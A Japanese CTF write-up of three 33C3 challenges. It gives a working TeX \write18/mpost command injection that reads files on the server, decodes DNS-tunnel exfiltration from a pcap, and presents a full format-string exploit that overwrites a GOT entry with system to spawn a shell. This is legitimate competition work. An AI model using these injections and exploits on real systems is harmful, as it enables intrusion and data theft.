33C3 CTF 供養(Writeup)

33C3 CTFに参加。325ptで140位。

pdfmaker (misc 75)

接続すると、適当なTeXファイルをコンパイルできそうなことがわかる。

$ nc 78.46.224.91 24242
 Welcome to p.d.f.maker! Send '?' or 'help' to get the help. Type 'exit' to disconnect.
> help
 Available commands: ?, help, create, show, compile.
 Type 'help COMMAND' to get information about the specific command.
> help create
 Create a file. Syntax: create TYPE NAME
 TYPE: type of the file. Possible types are log, tex, sty, mp, bib
 NAME: name of the file (without type ending)
 The created file will have the name NAME.TYPE
> help show
 Shows the content of a file. Syntax: show TYPE NAME
 TYPE: type of the file. Possible types are log, tex, sty, mp, bib
 NAME: name of the file (without type ending)
> help compile
 Compiles a tex file with the help of pdflatex. Syntax: compile NAME
 NAME: name of the file (without type ending)

つい先月、細工したTeXファイルをコンパイルさせることで任意のコマンドが実行できるという記事が出ていたので、それを試してみるとフラグが得られた。

$ nc 78.46.224.91 24242
 Welcome to p.d.f.maker! Send '?' or 'help' to get the help. Type 'exit' to disconnect.
> create mp x
File created. Type the content now and finish it by sending a line containing only '\q'.
verbatimtex
\documentclass{minimal}\begin{document}
etex beginfig (1) label(btex blah etex, origin);
endfig; \end{document} bye
\q
Written to x.mp.
> create tex x
File created. Type the content now and finish it by sending a line containing only '\q'.
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (ls${IFS}-al)>pwn.log" "x.mp"}
\end{document}
\q
Written to x.tex.
> compile x
fatal: DVI generation failedsystem returned with code 768
This is pdfTeX, Version 3.14159265-2.6-1.40.17 (TeX Live 2016/Debian) (preloaded format=pdflatex)
 restricted \write18 enabled.
entering extended mode
(/tmp/839520918753730933/x.tex
LaTeX2e <2016/03/31> patch level 3
Babel <3.9r> and hyphenation patterns for 3 language(s) loaded.
(/usr/share/texlive/texmf-dist/tex/latex/base/article.cls
Document Class: article 2014/09/29 v1.4h Standard LaTeX document class
(/usr/share/texlive/texmf-dist/tex/latex/base/size10.clo))This is MetaPost, version 1.9991 (TeX Live 2016/Debian) (kpathsea version 6.2.2)
(./x.mp
>> x.mp
>> x.mpx
! ! Unable to read mpx file.
l.3 etex beginfig (1) label(btex
                                 blah etex, origin);
Transcript written on x.log.

No file x.aux.
(./x.aux) )
No pages of output.
Transcript written on x.log.

> show log pwn
total 24
drwxrwxr-x  2 pdfmaker pdfmaker 4096 Dec 28 03:48 .
drwxrwxr-x 19 pdfmaker pdfmaker 4096 Dec 28 03:48 ..
-rw-rw-r--  1 pdfmaker pdfmaker   32 Dec 28 03:48 33C320CBD460FB4030
-rw-rw-r--  1 pdfmaker pdfmaker    0 Dec 28 03:48 makempx.log
-rw-rw-r--  1 pdfmaker pdfmaker  460 Dec 28 03:48 mpJJ7pdo.tex
-rw-rw-r--  1 pdfmaker pdfmaker    0 Dec 28 03:48 pwn.log
-rw-rw-r--  1 pdfmaker pdfmaker    0 Dec 28 03:48 x.aux
-rw-rw-r--  1 pdfmaker pdfmaker    0 Dec 28 03:48 x.log
-rw-rw-r--  1 pdfmaker pdfmaker  128 Dec 28 03:48 x.mp
-rw-rw-r--  1 pdfmaker pdfmaker  130 Dec 28 03:48 x.tex

> create tex x
File created. Type the content now and finish it by sending a line containing only '\q'.
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (ls${IFS}-al;cat${IFS}33C320CBD460FB4030)>pwn.log" "x.mp"}
\end{document}
\q
Written to x.tex.
> compile x
fatal: DVI generation failedsystem returned with code 768
This is pdfTeX, Version 3.14159265-2.6-1.40.17 (TeX Live 2016/Debian) (preloaded format=pdflatex)
 restricted \write18 enabled.
entering extended mode
(/tmp/839520918753730933/x.tex
LaTeX2e <2016/03/31> patch level 3
Babel <3.9r> and hyphenation patterns for 3 language(s) loaded.
(/usr/share/texlive/texmf-dist/tex/latex/base/article.cls
Document Class: article 2014/09/29 v1.4h Standard LaTeX document class
(/usr/share/texlive/texmf-dist/tex/latex/base/size10.clo)) (./x.aux)This is MetaPost, version 1.9991 (TeX Live 2016/Debian) (kpathsea version 6.2.2)
(./x.mp
>> x.mp
>> x.mpx
! ! Unable to read mpx file.
l.3 etex beginfig (1) label(btex
                                 blah etex, origin);
Transcript written on x.log.
 (./x.aux)
)
No pages of output.
Transcript written on x.log.

> show log pwn
total 24
drwxrwxr-x  2 pdfmaker pdfmaker 4096 Dec 28 03:49 .
drwxrwxr-x 19 pdfmaker pdfmaker 4096 Dec 28 03:49 ..
-rw-rw-r--  1 pdfmaker pdfmaker   32 Dec 28 03:48 33C320CBD460FB4030
-rw-rw-r--  1 pdfmaker pdfmaker    0 Dec 28 03:49 makempx.log
-rw-rw-r--  1 pdfmaker pdfmaker  460 Dec 28 03:49 mp9opGQm.tex
-rw-rw-r--  1 pdfmaker pdfmaker    0 Dec 28 03:49 pwn.log
-rw-rw-r--  1 pdfmaker pdfmaker    0 Dec 28 03:49 x.aux
-rw-rw-r--  1 pdfmaker pdfmaker    0 Dec 28 03:49 x.log
-rw-rw-r--  1 pdfmaker pdfmaker  128 Dec 28 03:48 x.mp
-rw-rw-r--  1 pdfmaker pdfmaker  158 Dec 28 03:49 x.tex
33C3_pdflatex_1s_t0t4lly_s3cur3!
> exit

exfil (Forensics 100)

pcapファイルとサーバスクリプトが与えられる。 pcapファイルの内容は複数回のDNS通信になっており、サブドメイン名でデータをやりとりしていそうなことがわかる。

とりあえず、tsharkを使ってpcapファイルの内容をテキストファイルに書き出す。

$ tshark -r dump.pcap >dump.txt

$ head dump.txt
  1   0.000000 192.168.0.121 -> 192.168.0.1  DNS 94 Standard query 0x2815 A G4JQAAAAAA.eat-sleep-pwn-repeat.de
  2   0.002197  192.168.0.1 -> 192.168.0.121 DNS 108 Standard query response 0x2815 A G4JQAAAAAA.eat-sleep-pwn-repeat.de CNAME G4JQAAAAAA.eat-sleep-pwn-repeat.de
  3   0.203334 192.168.0.121 -> 192.168.0.1  DNS 94 Standard query 0xcfbf A G4JQAAAAAA.eat-sleep-pwn-repeat.de
  4   0.204610  192.168.0.1 -> 192.168.0.121 DNS 108 Standard query response 0xcfbf A G4JQAAAAAA.eat-sleep-pwn-repeat.de CNAME G4JQAAAAAA.eat-sleep-pwn-repeat.de
  5   0.405026 192.168.0.121 -> 192.168.0.1  DNS 94 Standard query 0x5449 A G4JQAAAAAA.eat-sleep-pwn-repeat.de
  6   0.406228  192.168.0.1 -> 192.168.0.121 DNS 108 Standard query response 0x5449 A G4JQAAAAAA.eat-sleep-pwn-repeat.de CNAME G4JQAAAAAA.eat-sleep-pwn-repeat.de
  7   0.613703 192.168.0.121 -> 192.168.0.1  DNS 94 Standard query 0x3176 A G4JQAAAAAA.eat-sleep-pwn-repeat.de
  8   0.614944  192.168.0.1 -> 192.168.0.121 DNS 108 Standard query response 0x3176 A G4JQAAAAAA.eat-sleep-pwn-repeat.de CNAME G4JQAAAAAA.eat-sleep-pwn-repeat.de
  9   0.821849 192.168.0.121 -> 192.168.0.1  DNS 94 Standard query 0x131b A G4JQAAAAAA.eat-sleep-pwn-repeat.de
 10   0.823065  192.168.0.1 -> 192.168.0.121 DNS 108 Standard query response 0x131b A G4JQAAAAAA.eat-sleep-pwn-repeat.de CNAME G4JQAAAAAA.eat-sleep-pwn-repeat.de

次に、サーバスクリプトを参考に、標準入力からサブドメインを抜き出してデコードするスクリプトを書く。

import sys
import re
import base64

def decode_b32(s):
    s = s.upper()
    for i in range(10):
        try:
            return base64.b32decode(s)
        except:
            s += b'='
    raise ValueError('Invalid base32')

lastdata = None
for line in sys.stdin:
    m = re.search(r'([\w.]+)\.eat-sleep-pwn-repeat\.de', line)
    if not m:
        continue
    data = m.group(1).replace('.', '')
    if data == lastdata:
        continue
    lastdata = data
    data = decode_b32(data)[6:]
    if data:
        print repr(data)

リクエスト、レスポンスそれぞれに上のスクリプトを適用すると、GPG鍵を書き出した後secret.docxを暗号化していることがわかる。

$ grep -v CNAME dump.txt | python test.py >request.txt

$ head request.txt
'uid=1001(fpetry) gid=1001(fpetry) groups=1001(fpetry)\n'
'total 36K\n2624184 drwxr-xr-x 2 fpetry fpetry 4.0K Dec 17 13:30 .\n2621441 drwxr-xr-x 5 root   root   4.0K Dec 17 13:06 ..\n263'
'1209 -rw------- 1 fpetry fpetry   42 Dec 17 13:07 .bash_history\n2627663 -rw-r--r-- 1 fpetry fpetry  220 Dec 17 13:06 .bash_l'
'ogout\n2631208 -rw-r--r-- 1 fpetry fpetry 3.7K Dec 17 13:06 .bashrc\n2631221 -rw------- 1 fpetry fpetry   33 Dec 17 13:24 .les'
'shst\n2627664 -rw-r--r-- 1 fpetry fpetry  675 Dec 17 13:06 .profile\n2631216 -rw-r--r-- 1 fpetry fpetry 4.0K Dec 17 13:17 secr'
'et.docx\n2631218 -rw------- 1 fpetry fpetry  908 Dec 17 13:21 .viminfo\n'
"gpg: directory `/home/fpetry/.gnupg' created\ngpg: new configuration file `/home/fpetry/.gnupg/gpg.conf' created\ngpg: WARNING"
": options in `/home/fpetry/.gnupg/gpg.conf' are not yet active during this run\ngpg: keyring `/home/fpetry/.gnupg/secring.gpg"
"' created\ngpg: keyring `/home/fpetry/.gnupg/pubring.gpg' created\ngpg: /home/fpetry/.gnupg/trustdb.gpg: trustdb created\ngpg: "
'key D0D8161F: public key "operator from hell <team@kitctf.de>" imported\ngpg: key D0D8161F: secret key imported\ngpg: key D0D8'

$ grep -oE 'CNAME.*' dump.txt | python test.py >response.txt

$ head response.txt
'id\n'
'ls -alih\n'
'cat > key << EOF\n'
'-----BEGIN PGP PUBLIC KEY BLOCK-----\n\nmQENBFhNxEIBCACokqjLjvpwnm/lCdKTnT/vFqnohml2xZo/WiMAr4h3CdTal4yf\nCBbYeZYXI4S9RNVl3+5j2'
'h2yCssQ5S4ydWV2oy550qqh7K41u78L4FcT4lwgdbhD\ngHyRdiHpqZ15JIdHQBm1Tc4ZQNKiRmzgDZqroa/YfkGi7l35BDGId9VjwttZg6y4\n4I4j0NwnSdkhx3j'
'e+YUhDRSXXw55jhLsCqEVUaBpl4T3y93QkbxSEupPOQZ2TBNJ\nHv454UDToUU9SwgkhARivA7dMV43RR21hyUdFAuRcVXzEZCS1nsF7nE9sgVGZ6fs\nBXeU/oPF6'
'o86TqgPkBKrwYk2XTA3pf1DgVyvABEBAAG0I29wZXJhdG9yIGZyb20g\naGVsbCA8dGVhbUBraXRjdGYuZGU+iQFOBBMBCAA4FiEE0Rl3XS1+y7q+DPr51DzA\nYtD'
'YFh8FAlhNxEICGwMFCwkIBwIGFQgJCgsCBBYCAwECHgECF4AACgkQ1DzAYtDY\nFh/FoQgAj5df/QfWefsQrMkGEH38prNfPXRN8+G2gJbjYj2fliKvwqiOAiX7At'
'oQ\ntxlwU45eVCRwSq41uLBOhNiNDKlo62Rlz5d7ZCRd0hoewPpH+gMVrsUBym3WNy6k\nkvHBelOWOTqDSEW/BWyhk+UTDnMb1M0LP/NpcDHbYvR/KQhaP2N1SRz9'
'Ye05Xs/B\nDRT+lzFnXstgXsPrOOXV1J4924IfbwGRamx0N4aDzEUqkN80PfwTjaCWdrz0Cgym\nBYVZOpHKuoDS/IK6/jxo4Q5N+BlAkN+9a7VeofbSor4X5Whrcr'

上の出力からそれぞれのファイルを抜き出し、復号するとフラグが得られた。

$ sha1sum secret.docx.gpg key
700216568a3819f12808bf7fffd108a0aa36acca  secret.docx.gpg
6c5309445f7857fd66b8c88128d550f8bf4c5263  key

$ gpg --import key
gpg: directory `/home/user/.gnupg' created
gpg: new configuration file `/home/user/.gnupg/gpg.conf' created
gpg: WARNING: options in `/home/user/.gnupg/gpg.conf' are not yet active during this run
gpg: keyring `/home/user/.gnupg/secring.gpg' created
gpg: keyring `/home/user/.gnupg/pubring.gpg' created
gpg: /home/user/.gnupg/trustdb.gpg: trustdb created
gpg: key D0D8161F: public key "operator from hell <team@kitctf.de>" imported
gpg: key D0D8161F: secret key imported
gpg: key D0D8161F: "operator from hell <team@kitctf.de>" not changed
gpg: Total number processed: 2
gpg:               imported: 1  (RSA: 1)
gpg:              unchanged: 1
gpg:       secret keys read: 1
gpg:   secret keys imported: 1

$ gpg --decrypt --output secret.docx secret.docx.gpg
gpg: encrypted with 2048-bit RSA key, ID BF30A26A, created 2016-12-11
      "operator from hell <team@kitctf.de>"

$ file secret.docx
secret.docx: Microsoft Word 2007+

f:id:inaz2:20161230124332p:plain

ESPR (Pwn 150)

問題文の写真から、概ね次のような処理をしていることが推測できる。

char buf[0x100];
while (1) {
    gets(buf);
    sleep(1);
    printf(buf);
}

Format String Bugがあるので、適当にスタックの内容を調べた後、saved ebp相当の箇所を利用して通常0x601000に置かれる.plt.gotセクションの内容を書き出してみる。

from minipwn import *

s = socket.create_connection(('78.46.224.86', 1337))
s.settimeout(3)

sendline(s, '%'+str(0x601000)+'c%40$ln')
try:
    while True:
        print len(s.recv(8192))
except socket.timeout:
    pass

sendline(s, '%66$p')
print s.recv(8192),
sendline(s, '%66$s')
data = s.recv(8192)
got_addr = u64(data.ljust(8, '\x00'))
print hex(got_addr)

for i in xrange(0x08, 0x60, 0x8):
    sendline(s, '%'+str(i)+'c%40$hhn')
    s.recv(8192)
    sendline(s, '%66$p')
    print s.recv(8192),
    sendline(s, '%66$s')
    data = s.recv(8192)
    got_addr = u64(data.ljust(8, '\x00'))
    print hex(got_addr)
$ python espr.py
(snip)
0x601000 0x600e20
0x601008 0x7f3fb55e1168
0x601010 0x7f3fb53d28f0
0x601018 0x7f3fb4e48550
0x601020 0x7f3fb4e62030
0x601028 0x7f3fb4ebe640
0x601030
Traceback (most recent call last):
  File "espr.py", line 23, in <module>
    data = s.recv(8192)
socket.timeout: timed out

アドレスが指しているページから、0x601018、0x601020、0x601028の三つがprintf、sleep、getsのいずれかに対応してそうなことがわかる。

次のスクリプトを利用してオフセットの合うlibcを探すと、一致するものが見つかる。

$ ./find printf 550 gets 030 sleep 640
http://ftp.osuosl.org/pub/ubuntu/pool/main/g/glibc/libc6_2.24-3ubuntu1_amd64.deb (id libc6_2.24-3ubuntu1_amd64)
archive-glibc (id libc6_2.24-3ubuntu2_amd64)

$ cat db/libc6_2.24-3ubuntu1_amd64.symbols | grep -e ^printf -e ^system
printf 0000000000056550
system 00000000000456d0

GOTのprintfをsystemに書き換え、system("/bin/sh")を呼ぶことでシェルを起動できる。

from minipwn import *

s = socket.create_connection(('78.46.224.86', 1337))
s.settimeout(3)

sendline(s, '%'+str(0x601018)+'c%40$ln')
try:
    while True:
        print len(s.recv(8192))
except socket.timeout:
    pass

sendline(s, '%66$p')
print s.recv(8192)
sendline(s, '%66$s')
data = s.recv(8192)
libc_printf = u64(data.ljust(8, '\x00'))
print "[+] libc_printf = %x" % libc_printf
libc_system = libc_printf - 0x0000000000056550 + 0x00000000000456d0
print "[+] libc_system = %x" % libc_system

n = libc_system & 0xFFFFFFFF
print "[+] n = %x" % n
sendline(s, '%'+str(n)+'c%66$n')
try:
    while True:
        print len(s.recv(8192))
except socket.timeout:
    pass

print "[+] got a shell!"
sendline(s, '/bin/sh\x00')
interact(s)
$ python espr.py
(snip)
0x601018
[+] libc_printf = 7f900de94550
[+] libc_system = 7f900de836d0
[+] n = de836d0
(snip)
[+] got a shell!
id
uid=1001(challenge) gid=1001(challenge) groups=1001(challenge)
ls
espr
flag
run.sh
cat flag
33C3_f1rst_tshirt_challenge?!

所感

他に解きたかった問題は以下。